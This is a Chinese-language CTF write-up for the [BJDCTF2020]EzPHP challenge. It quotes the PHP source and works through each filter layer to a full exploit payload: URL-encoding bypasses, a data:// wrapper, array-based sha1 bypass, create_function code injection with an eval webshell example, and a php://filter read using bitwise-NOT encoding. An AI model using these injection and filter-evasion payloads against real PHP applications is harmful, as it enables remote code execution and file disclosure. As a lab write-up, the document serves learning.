当前位置: 首页 > news >正文

[BJDCTF2020]EzPHP

这一道题里面的知识点实在是太多了,即使这道题是我最喜欢的RCE也有点大脑停转了,所以还是做个笔记,以后方便回忆

直接跳过打点,来到源码

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

短短51行代码居然有六层过滤,也是阴的没边,这次的payload至今为止也是鼠鼠手打过最长的

第一层
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}

首先看第一块,这里是正则匹配的过滤,但是注意到(注意力惊人)这里用的是$_SERVER

众所周知,get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。
所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');

这里就很简单了,传入debu=aque_is_cute的url编码格式绕过前面第一个过滤

%64ebu=%61qua_is_%63ute%0a这里我只部分进行了编码,至于file参数等下再说

但是这里我们发现又触发了第三层的过滤

第三层
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}

这里说他讨厌英语,传的参数值不能有英文的26个字母,但是我们又注意到这里是$_REQUEST传参,所以可以绕过

$_REQUEST传参时同时接收GET和POST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过。

%64ebu=%61qua_is_%63ute%0adebu=1

我们继续往下看,来到第四层

第四层
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里我们要让file的值等于debu_debu_aqua,所以这里要用到data伪协议,当然也是要和上面一样绕过第二层和第三层的过滤

file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0adebu=1&file=1
第五层
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里是简单的sha1绕过MD5和sha1绕过方式总结正好今天下午刚看过

这里用到的是数组绕过,注意url编码就好

?file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&debu=1&file=1
第六层
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这里是最核心的一层,也是我拼尽全力无法战胜的一层,所以去看了wp才恍然大悟

首先这里有两个参数$code$arg可控,可以利用$code('', $arg); 注入。

这里介绍一个函数:

PHP 中的 create_function($args, $code) 会创建一个匿名函数,举个例子:

比如我们传:

flag[code]=create_function
flag[arg]=}eval($_POST[cmd]);//

那么代码就变成:

$code = create_function;
$arg = '}eval($_POST[cmd]);//';$code('', $arg);  // => create_function('', '}eval($_POST[cmd]);//');

这个返回的函数等价于

function($a, $b) {}eval($_POST[cmd]);//
}

了解了原理,接下来我们来构造payload,因为过滤实在太多,所以我们先用:

flag[arg]=}var_dump(get_defined_vars());// 
flag[code]=create_function

来试一试,注意这里要用}提前闭合函数体

这样就得到了许多的变量键值,我就不贴上来了,最后有一个

"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

这里可以利用require(),来代替include()

require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

但是过滤的限制太多了,所以我们对其进行base64编码

%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functiondebu=1&file=1

但是这里只得到了假的flag,这里我查了很多资料,但是都只是提到了要用取反来读flag,没有人提这里仅仅进行URL编码不能读取到flag的问题。在我把这道题的源码全部读了一遍后,我猜测问题大概是出在unset()函数这里

unset函数本来是用来销毁变量的,这里让$realflag执行unset,本意是为了避免我们用上面的方法直接get_difined_vars直接读取flag,却影响了文件包含读取flag内容,所以这里要用到取反编码进行读取,后面我会写一遍关于unset函数的文章来详细解释

最终payload:

// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function// POST
debu=1&file=1

得到base64源码解码后得到flag

http://www.xdnf.cn/news/59653.html

相关文章:

  • JVM有什么调优参数?
  • RSS 2025|苏黎世提出「LLM-MPC混合架构」增强自动驾驶,推理速度提升10.5倍!
  • 阿里云人工智能大模型MCP协议
  • Node.js和js到底什么关系
  • Hyperlane:Rust Web框架的性能新标杆
  • Vue如何获取Dom
  • Oracle DBA培训一般多长时间?
  • 递归的模板 (以反转链表为例)
  • .net core 中directory , directoryinfo ,file, fileinfo区别,联系,场景
  • mindspeed-rl使用注意事项
  • unity TEngine学习4
  • 驱动开发硬核特训 · Day 16:字符设备驱动模型与实战注册流程
  • AIWS全链路开发与MCP框架下的高可用服务架构设计
  • AI问答Bug修改
  • 教育行业网络安全:守护学校终端安全,筑牢教育行业网络安全防线!
  • 数据结构——栈和队列
  • Debian GNU/Linux的新手入门介绍
  • 动态规划-零钱兑换
  • MCP 框架中,stdio 模式和 SSE(Server-Sent Events) 模式的区别是什么
  • 01_Flask快速入门教程介绍
  • 楼宇自控怎样推动能源高效利用与建筑设备的科学管理
  • 玩转Docker | 使用Docker部署nullboard任务管理工具
  • 介绍XML
  • 【C#】.net core 6.0调用MVC API接口时,提示Unsupported Media Type,状态码415
  • 多源异构网络安全数据(CAPEC、CPE、CVE、CVSS、CWE)的作用、数据内容及其相互联系的详细分析
  • 学习笔记二十二—— 并发五大常见陷阱
  • windows传文件给mac, linux或者其他windows
  • 单例模式的使用场景 以及 饿汉式写法(智能指针)
  • 批量替换多个 Word 文档中的指定图片
  • Vue的模板编译过程